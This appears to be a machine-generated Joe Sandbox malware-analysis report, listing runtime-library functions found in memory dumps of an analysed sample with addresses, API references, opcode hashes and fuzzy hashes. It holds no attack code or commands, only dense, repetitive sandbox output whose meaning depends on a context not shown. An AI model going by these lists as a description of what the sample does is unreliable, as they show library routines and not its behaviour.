Associated: 00000008.00000002.2318356285.00000000008CD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.2318392994.00000000008CF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.2318429519.00000000008D0000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_840000_22594e132764.jbxd

Yara matches

Similarity

API ID: Name::operator=$NameName::Name::operator+Name::operator+=$Decorator::getName::doPcharTypeoperator+
String ID:
API String ID: 4267394785-0
Opcode ID: ebe52dd42a140cc8f9b2ddbd3bb5151cb61fae226237c6b63a5cac8321597f39
Instruction ID: a4edc935d2519ec7d46551bffed6c720f8475d045248286b9a67916699989318
Opcode Fuzzy Hash: ebe52dd42a140cc8f9b2ddbd3bb5151cb61fae226237c6b63a5cac8321597f39
Instruction Fuzzy Hash: FF2129B6A0010A9ECF18FEB8D9559BDBBB4FF44301F19416AE921F6685DB349E009F24

Function 008453B1 Relevance: 9.1, APIs: 6, Instructions: 65COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 008453B8
std::_Lockit::_Lockit.LIBCPMT ref: 008453C2
int.LIBCPMT ref: 008453D9

Part of subcall function 008416B4: std::_Lockit::_Lockit.LIBCPMT ref: 008416C5
Part of subcall function 008416B4: std::_Lockit::~_Lockit.LIBCPMT ref: 008416DF

std::_Facet_Register.LIBCPMT ref: 00845413
std::_Lockit::~_Lockit.LIBCPMT ref: 00845433
Concurrency::cancel_current_task.LIBCPMT ref: 00845440

Memory Dump Source

Source File: 00000008.00000002.2318183895.0000000000841000.00000020.00000001.01000000.00000008.sdmp, Offset: 00840000, based on PE: true

Associated: 00000008.00000002.2318152852.0000000000840000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.2318235130.0000000000863000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.2318276099.000000000086D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.2318356285.00000000008CD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.2318392994.00000000008CF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.2318429519.00000000008D0000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_840000_22594e132764.jbxd

Yara matches

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Concurrency::cancel_current_taskFacet_H_prolog3Register
String ID:
API String ID: 55977855-0
Opcode ID: b246b961d21c2dd29f0e96aeb4edf489fd90cb62c47bbef134fc84fa4220c6d5
Instruction ID: 6447f0b7333c80c22f3bbb14fa7cb1e17b63e17e33b00d0964765b805fc480d1
Opcode Fuzzy Hash: b246b961d21c2dd29f0e96aeb4edf489fd90cb62c47bbef134fc84fa4220c6d5
Instruction Fuzzy Hash: 5211DF7190062C9BCB14EBA8D805BAE77B4FF54320F15040AF801EB292DFB4AA408B82

Function 0084A25A Relevance: 9.1, APIs: 6, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,0084A251,00848978,00847AFF), ref: 0084A268
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 0084A276
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 0084A28F
SetLastError.KERNEL32(00000000,0084A251,00848978,00847AFF), ref: 0084A2E1

Memory Dump Source

Source File: 00000008.00000002.2318183895.0000000000841000.00000020.00000001.01000000.00000008.sdmp, Offset: 00840000, based on PE: true

Associated: 00000008.00000002.2318152852.0000000000840000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.2318235130.0000000000863000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.2318276099.000000000086D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.2318356285.00000000008CD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.2318392994.00000000008CF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.2318429519.00000000008D0000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_840000_22594e132764.jbxd

Yara matches

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: 59bc21904da20b1bfe9ed36b2010d1520109aaa8d197e244dc716eb698b292e7
Instruction ID: 13906b36032542cd822cbad0867d2a48c56acae010c1c8e48f38b8df53ec82ca
Opcode Fuzzy Hash: 59bc21904da20b1bfe9ed36b2010d1520109aaa8d197e244dc716eb698b292e7
Instruction Fuzzy Hash: DD01F73278DB296EA7182779BC86727275AFB02778B210329F510D94E1EFD38C067647

Function 00894FD3 Relevance: 9.1, APIs: 6, Instructions: 59COMMON

Download Yara Rule

APIs

__lock.LIBCMT ref: 00894F2A

Part of subcall function 0088AD58: __mtinitlocknum.LIBCMT ref: 0088AD6E
Part of subcall function 0088AD58: __amsg_exit.LIBCMT ref: 0088AD7A

_free.LIBCMT ref: 00894F51
__lock.LIBCMT ref: 00894F6A
___removelocaleref.LIBCMT ref: 00894F79
___freetlocinfo.LIBCMT ref: 00894F92
_free.LIBCMT ref: 00894FAF

Memory Dump Source

Source File: 00000008.00000002.2318276099.000000000086D000.00000004.00000001.01000000.00000008.sdmp, Offset: 00840000, based on PE: true

Associated: 00000008.00000002.2318152852.0000000000840000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.2318183895.0000000000841000.00000020.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.2318235130.0000000000863000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.2318356285.00000000008CD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.2318392994.00000000008CF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.2318429519.00000000008D0000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_840000_22594e132764.jbxd

Yara matches

Similarity

API ID: __lock_free$___freetlocinfo___removelocaleref__amsg_exit__mtinitlocknum
String ID:
API String ID: 1181530324-0
Opcode ID: 63d8259a9452995f0ea44c8b10cb337d9fbc734afaaa5ff68e74be4410269d84
Instruction ID: 21322204af0c7a4bd1705e4c7dcf033a6c1ea4755b2d3f5d9d8db1d19a71e8b1
Opcode Fuzzy Hash: 63d8259a9452995f0ea44c8b10cb337d9fbc734afaaa5ff68e74be4410269d84
Instruction Fuzzy Hash: 5C119E31505306AAEF24BF689809B2D73E4FF04711F28560AF0A8D75D1DF35D9818652

Function 00850F50 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 42libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,6662C82A,?,?,00000000,00861FC8,000000FF,?,00850EE0,00851010,?,00850EB4,00000000), ref: 00850F85
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 00850F97
FreeLibrary.KERNEL32(00000000,?,?,00000000,00861FC8,000000FF,?,00850EE0,00851010,?,00850EB4,00000000), ref: 00850FB9

Strings

mscoree.dll, xrefs: 00850F7E
CorExitProcess, xrefs: 00850F8F

Memory Dump Source

Source File: 00000008.00000002.2318183895.0000000000841000.00000020.00000001.01000000.00000008.sdmp, Offset: 00840000, based on PE: true

Associated: 00000008.00000002.2318152852.0000000000840000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.2318235130.0000000000863000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.2318276099.000000000086D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.2318356285.00000000008CD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.2318392994.00000000008CF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.2318429519.00000000008D0000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_840000_22594e132764.jbxd

Yara matches

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 62f0b3bcc5d19ad2cd499749e798a55d00f349898f0dfdd06236507efe335128
Instruction ID: c7dfce97e0b5b277bcbb8e27283909a505bff7ad915ec262e2198964285d6d01
Opcode Fuzzy Hash: 62f0b3bcc5d19ad2cd499749e798a55d00f349898f0dfdd06236507efe335128
Instruction Fuzzy Hash: C9016231904A55EFDB118B50DC09FAEBBB8FB04B15F050529FC21E22D0EBB89908CE91

Function 00881BA0 Relevance: 7.8, APIs: 5, Instructions: 297COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00881C27
_memset.LIBCMT ref: 00881C38
_memset.LIBCMT ref: 00881D00
_memset.LIBCMT ref: 00881D6C
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00881E8E

Memory Dump Source

Source File: 00000008.00000002.2318276099.000000000086D000.00000004.00000001.01000000.00000008.sdmp, Offset: 00840000, based on PE: true

Associated: 00000008.00000002.2318152852.0000000000840000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.2318183895.0000000000841000.00000020.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.2318235130.0000000000863000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.2318356285.00000000008CD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.2318392994.00000000008CF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.2318429519.00000000008D0000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_840000_22594e132764.jbxd

Yara matches

Similarity

API ID: _memset$Unothrow_t@std@@@__ehfuncinfo$??2@
String ID:
API String ID: 2583058844-0
Opcode ID: 981d6d0c91731929886cd8a5a2bb45046133813d32fd714e4fe8d4805b0cc52d
Instruction ID: b587aa33d6ac14c5a4c00ebb774eb218423ffebb6dd7a51a7a1a43a744278a44
Opcode Fuzzy Hash: 981d6d0c91731929886cd8a5a2bb45046133813d32fd714e4fe8d4805b0cc52d
Instruction Fuzzy Hash: F5C106B2D0021AABCF21EB64DC49AAD77BDFF08304F5540A1FA09F2151EB35AB858F55

Function 00891B3F Relevance: 7.6, APIs: 5, Instructions: 109COMMON

Download Yara Rule

APIs

__mtterm.LIBCMT ref: 00891B53
__init_pointers.LIBCMT ref: 00891C05
__calloc_crt.LIBCMT ref: 00891C73
__initptd.LIBCMT ref: 00891C98

Memory Dump Source

Source File: 00000008.00000002.2318276099.000000000086D000.00000004.00000001.01000000.00000008.sdmp, Offset: 00840000, based on PE: true

Associated: 00000008.00000002.2318152852.0000000000840000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.2318183895.0000000000841000.00000020.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.2318235130.0000000000863000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.2318356285.00000000008CD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.2318392994.00000000008CF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.2318429519.00000000008D0000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_840000_22594e132764.jbxd

Yara matches

Similarity

API ID: __calloc_crt__init_pointers__initptd__mtterm
String ID:
API String ID: 3132042578-0
Opcode ID: 400231f4d2ee880fb5ad432affc68df8e9701e5f7ec856bf935dccaa11612c1c
Instruction ID: 52b8882070ff6c94bf13b6e4367a3bb38426d185f780e41eec997f67a296c398
Opcode Fuzzy Hash: 400231f4d2ee880fb5ad432affc68df8e9701e5f7ec856bf935dccaa11612c1c
Instruction Fuzzy Hash: 26315A35E483519ACF22BB79AD0CA153BA5FF84765B18063AE810D32B1EFB5D440DF49

Function 0088CA4A Relevance: 7.6, APIs: 5, Instructions: 50COMMONLIBRARYCODE

Download Yara Rule

APIs

DName::DName.LIBCMT ref: 0088CA93
DName::operator+.LIBCMT ref: 0088CA9A
DName::DName.LIBCMT ref: 0088CABC
DName::operator+.LIBCMT ref: 0088CAC3
DName::operator+.LIBCMT ref: 0088CACA

Memory Dump Source

Source File: 00000008.00000002.2318276099.000000000086D000.00000004.00000001.01000000.00000008.sdmp, Offset: 00840000, based on PE: true

Associated: 00000008.00000002.2318152852.0000000000840000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.2318183895.0000000000841000.00000020.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.2318235130.0000000000863000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.2318356285.00000000008CD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.2318392994.00000000008CF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.2318429519.00000000008D0000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_840000_22594e132764.jbxd

Yara matches

Similarity

API ID: Name::operator+$NameName::
String ID:
API String ID: 168861036-0
Opcode ID: 6fede52223522eb9ffe5c1561e3a1dd2bd9829ce24d8c6045883a898bd83f521
Instruction ID: 6989a61ed35254afa1c13f62cbb81c5a9071079bc960a115fa2dd96582e00b04
Opcode Fuzzy Hash: 6fede52223522eb9ffe5c1561e3a1dd2bd9829ce24d8c6045883a898bd83f521
Instruction Fuzzy Hash: E5011E71600209AECF04FBA8D856EAD7BA5FF48745F104059F501EB296DB70EA45CB94

Function 00844436 Relevance: 7.5, APIs: 5, Instructions: 48COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00844442
int.LIBCPMT ref: 00844455

Part of subcall function 008416B4: std::_Lockit::_Lockit.LIBCPMT ref: 008416C5
Part of subcall function 008416B4: std::_Lockit::~_Lockit.LIBCPMT ref: 008416DF

std::_Facet_Register.LIBCPMT ref: 00844488
std::_Lockit::~_Lockit.LIBCPMT ref: 0084449E
Concurrency::cancel_current_task.LIBCPMT ref: 008444A9

Memory Dump Source

Source File: 00000008.00000002.2318183895.0000000000841000.00000020.00000001.01000000.00000008.sdmp, Offset: 00840000, based on PE: true

Associated: 00000008.00000002.2318152852.0000000000840000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.2318235130.0000000000863000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.2318276099.000000000086D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.2318356285.00000000008CD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.2318392994.00000000008CF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.2318429519.00000000008D0000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_840000_22594e132764.jbxd

Yara matches

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Concurrency::cancel_current_taskFacet_Register
String ID:
API String ID: 2081738530-0
Opcode ID: 69aa3a46c0ba82b97c0d285473140ca4beeb9841df93e530ef31fa8a23bcb181
Instruction ID: 50c5e4eea8e89995c52d31b0d1ad810d0c13f140b17a08d6d8d174578b542b33
Opcode Fuzzy Hash: 69aa3a46c0ba82b97c0d285473140ca4beeb9841df93e530ef31fa8a23bcb181
Instruction Fuzzy Hash: BA01A27690051CABCB15ABA8D809EAD7778FF80760F200559F905E7291DB309E41C785

Function 00843DB1 Relevance: 7.5, APIs: 5, Instructions: 48COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00843DBD
int.LIBCPMT ref: 00843DD0

Part of subcall function 008416B4: std::_Lockit::_Lockit.LIBCPMT ref: 008416C5
Part of subcall function 008416B4: std::_Lockit::~_Lockit.LIBCPMT ref: 008416DF

std::_Facet_Register.LIBCPMT ref: 00843E03
std::_Lockit::~_Lockit.LIBCPMT ref: 00843E19
Concurrency::cancel_current_task.LIBCPMT ref: 00843E24

Memory Dump Source

Source File: 00000008.00000002.2318183895.0000000000841000.00000020.00000001.01000000.00000008.sdmp, Offset: 00840000, based on PE: true

Associated: 00000008.00000002.2318152852.0000000000840000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.2318235130.0000000000863000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.2318276099.000000000086D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.2318356285.00000000008CD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.2318392994.00000000008CF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.2318429519.00000000008D0000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_840000_22594e132764.jbxd

Yara matches

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Concurrency::cancel_current_taskFacet_Register
String ID:
API String ID: 2081738530-0
Opcode ID: c547f7f83a2dab07adf0991fff5b5002ffaef1f1b2ceec3ae6129b9635d74ced
Instruction ID: 91e026ffe0ee174d6b31dc7029a8e03f7d3b16ea515b4a384750090b71e9f5b9
Opcode Fuzzy Hash: c547f7f83a2dab07adf0991fff5b5002ffaef1f1b2ceec3ae6129b9635d74ced
Instruction Fuzzy Hash: 5701A27690051CABCF25AF58D805DAD77B9FF90760B200158F905E7292EB34EE45C781

Function 00844308 Relevance: 7.5, APIs: 5, Instructions: 47COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00844315
int.LIBCPMT ref: 00844328

Part of subcall function 008416B4: std::_Lockit::_Lockit.LIBCPMT ref: 008416C5
Part of subcall function 008416B4: std::_Lockit::~_Lockit.LIBCPMT ref: 008416DF

std::_Facet_Register.LIBCPMT ref: 0084435B
std::_Lockit::~_Lockit.LIBCPMT ref: 00844371
Concurrency::cancel_current_task.LIBCPMT ref: 0084437C

Memory Dump Source

Source File: 00000008.00000002.2318183895.0000000000841000.00000020.00000001.01000000.00000008.sdmp, Offset: 00840000, based on PE: true

Associated: 00000008.00000002.2318152852.0000000000840000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.2318235130.0000000000863000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.2318276099.000000000086D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.2318356285.00000000008CD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.2318392994.00000000008CF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.2318429519.00000000008D0000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_840000_22594e132764.jbxd

Yara matches

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Concurrency::cancel_current_taskFacet_Register
String ID:
API String ID: 2081738530-0
Opcode ID: db13b55607c06a06ae2ea2ff4d695be40513dd8ecb2025596d1ad0aa9efc3d72
Instruction ID: 229b5c4133cff59a4ade9620e8c7e184659c393a79fd68f9d333e4d087cc48bf
Opcode Fuzzy Hash: db13b55607c06a06ae2ea2ff4d695be40513dd8ecb2025596d1ad0aa9efc3d72
Instruction Fuzzy Hash: 7501F23690052CABCB24AFA8D806EDDBB79FF90B20B200158F905E7291DB309E45CB81

Function 0084507A Relevance: 7.5, APIs: 5, Instructions: 44COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00845081
std::_Lockit::_Lockit.LIBCPMT ref: 0084508C
std::locale::_Setgloballocale.LIBCPMT ref: 008450A7
_Yarn.LIBCPMT ref: 008450BD
std::_Lockit::~_Lockit.LIBCPMT ref: 008450FA

Memory Dump Source

Source File: 00000008.00000002.2318183895.0000000000841000.00000020.00000001.01000000.00000008.sdmp, Offset: 00840000, based on PE: true

Associated: 00000008.00000002.2318152852.0000000000840000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.2318235130.0000000000863000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.2318276099.000000000086D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.2318356285.00000000008CD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.2318392994.00000000008CF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.2318429519.00000000008D0000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_840000_22594e132764.jbxd

Yara matches

Similarity

API ID: Lockitstd::_$H_prolog3Lockit::_Lockit::~_SetgloballocaleYarnstd::locale::_
String ID:
API String ID: 156189095-0
Opcode ID: ba51d98764875937431c1391c403d7410a4dc6fd0baf00beb51f082677a1e6a8
Instruction ID: a1aaebd4d76697b1ef15b2326b42e8da540a58fc4718283ac6b895e502649659
Opcode Fuzzy Hash: ba51d98764875937431c1391c403d7410a4dc6fd0baf00beb51f082677a1e6a8
Instruction Fuzzy Hash: 8D01F275A019689BD709EF24D852A7C7BB1FF84340B254009F90197382DF78AE06CFC2

Function 00894FDE Relevance: 7.5, APIs: 5, Instructions: 44COMMON

Download Yara Rule

APIs

__getptd.LIBCMT ref: 00894FEA

Part of subcall function 0089197C: __getptd_noexit.LIBCMT ref: 0089197F
Part of subcall function 0089197C: __amsg_exit.LIBCMT ref: 0089198C

__calloc_crt.LIBCMT ref: 00894FF5
__lock.LIBCMT ref: 0089502B
___addlocaleref.LIBCMT ref: 00895037
__lock.LIBCMT ref: 0089504B

Part of subcall function 00890B1C: __getptd_noexit.LIBCMT ref: 00890B1C

Memory Dump Source

Source File: 00000008.00000002.2318276099.000000000086D000.00000004.00000001.01000000.00000008.sdmp, Offset: 00840000, based on PE: true

Associated: 00000008.00000002.2318152852.0000000000840000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.2318183895.0000000000841000.00000020.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.2318235130.0000000000863000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.2318356285.00000000008CD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.2318392994.00000000008CF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.2318429519.00000000008D0000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_840000_22594e132764.jbxd

Yara matches

Similarity

API ID: __getptd_noexit__lock$___addlocaleref__amsg_exit__calloc_crt__getptd
String ID:
API String ID: 2820776222-0
Opcode ID: b668459250dba2172e2c4039f6cfa7733fed99fad082a545e312b10aae0848bc
Instruction ID: e66fafbf0d88722e9d1e5fba06940fffe33bd2a64a5e93254cfb08489a0f86f6
Opcode Fuzzy Hash: b668459250dba2172e2c4039f6cfa7733fed99fad082a545e312b10aae0848bc
Instruction Fuzzy Hash: 33019E31641B05EEEF21BBBC8807B1C76A0FF04B20F24420AF054DA2D2CB7149409B97

Function 00893741 Relevance: 7.5, APIs: 5, Instructions: 34COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 0089374D

Part of subcall function 0089197C: __getptd_noexit.LIBCMT ref: 0089197F
Part of subcall function 0089197C: __amsg_exit.LIBCMT ref: 0089198C

__getptd.LIBCMT ref: 00893764
__amsg_exit.LIBCMT ref: 00893772
__lock.LIBCMT ref: 00893782
__updatetlocinfoEx_nolock.LIBCMT ref: 00893796

Memory Dump Source

Source File: 00000008.00000002.2318276099.000000000086D000.00000004.00000001.01000000.00000008.sdmp, Offset: 00840000, based on PE: true

Associated: 00000008.00000002.2318152852.0000000000840000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.2318183895.0000000000841000.00000020.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.2318235130.0000000000863000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.2318356285.00000000008CD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.2318392994.00000000008CF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.2318429519.00000000008D0000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_840000_22594e132764.jbxd

Yara matches

Similarity

API ID: __amsg_exit__getptd$Ex_nolock__getptd_noexit__lock__updatetlocinfo
String ID:
API String ID: 938513278-0
Opcode ID: 3ca1aa4fc0945ad2b9bfdc36e3f8cce4979dbeb0600ceb255b48c050cbe74efe
Instruction ID: c93697a52dcd25a813f0e4e2cc29eb9f273640af7a4185ae42bd099d23ad994e
Opcode Fuzzy Hash: 3ca1aa4fc0945ad2b9bfdc36e3f8cce4979dbeb0600ceb255b48c050cbe74efe
Instruction Fuzzy Hash: 07F090B2A45715BFEE26BBBC9807B1D3690FF04721F19412AF051E66E2CB245A009A5B

Function 0084B3A2 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 27libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(00000000,00000000,00000800,?,0084B353,00000000,?,008CEEE4,?,?,?,0084B4F6,00000004,InitializeCriticalSectionEx,00864BD8,InitializeCriticalSectionEx), ref: 0084B3AF
GetLastError.KERNEL32(?,0084B353,00000000,?,008CEEE4,?,?,?,0084B4F6,00000004,InitializeCriticalSectionEx,00864BD8,InitializeCriticalSectionEx,00000000,?,0084B2AD), ref: 0084B3B9
LoadLibraryExW.KERNEL32(00000000,00000000,00000000), ref: 0084B3E1

Strings

api-ms-, xrefs: 0084B3C6

Memory Dump Source

Source File: 00000008.00000002.2318183895.0000000000841000.00000020.00000001.01000000.00000008.sdmp, Offset: 00840000, based on PE: true

Associated: 00000008.00000002.2318152852.0000000000840000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.2318235130.0000000000863000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.2318276099.000000000086D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.2318356285.00000000008CD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.2318392994.00000000008CF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.2318429519.00000000008D0000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_840000_22594e132764.jbxd

Yara matches

Similarity

API ID: LibraryLoad$ErrorLast
String ID: api-ms-
API String ID: 3177248105-2084034818
Opcode ID: 1536b62c48633ee23af9014e846acaac553aacb9274d1e25c80d16f2bd014174
Instruction ID: 0b5cc73384b13624fbcd50483b5329f9ca0d71ba336edc81c9eb1e93a56b546b
Opcode Fuzzy Hash: 1536b62c48633ee23af9014e846acaac553aacb9274d1e25c80d16f2bd014174
Instruction Fuzzy Hash: 73E04F30284208B7EF211FB2EC4AB193EA8FB10B55F111021FB0CE81E1E7B6DA548685

Function 00857747 Relevance: 6.3, APIs: 4, Instructions: 338fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32(6662C82A,00000000,00000000,00000000), ref: 008577AA

Part of subcall function 0085952A: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,?,0000FDE9,00000000,-00000008,00000000,?,00858FD3,?,00000000,-00000008), ref: 008595D6

WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 00857A05
WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 00857A4D
GetLastError.KERNEL32 ref: 00857AF0

Memory Dump Source

Source File: 00000008.00000002.2318183895.0000000000841000.00000020.00000001.01000000.00000008.sdmp, Offset: 00840000, based on PE: true

Associated: 00000008.00000002.2318152852.0000000000840000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.2318235130.0000000000863000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.2318276099.000000000086D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.2318356285.00000000008CD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.2318392994.00000000008CF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.2318429519.00000000008D0000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_840000_22594e132764.jbxd

Yara matches

Similarity

API ID: FileWrite$ByteCharConsoleErrorLastMultiOutputWide
String ID:
API String ID: 2112829910-0
Opcode ID: ca9a461382334197f286ecc4edc569986b0bc8a6b7d74581f0ea7367296b42b4
Instruction ID: c3bc49d090747330273f75798a1be7c2232d463fddda8abb3bf4bbb950e215b8
Opcode Fuzzy Hash: ca9a461382334197f286ecc4edc569986b0bc8a6b7d74581f0ea7367296b42b4
Instruction Fuzzy Hash: EDD18DB5E04258AFCF05CFA8E8809EDBBB5FF49305F18812AE865EB351D730A945CB50

Function 0087B05E Relevance: 6.3, APIs: 4, Instructions: 325COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0087B08F
_memset.LIBCMT ref: 0087B0AF
_memset.LIBCMT ref: 0087B0C0
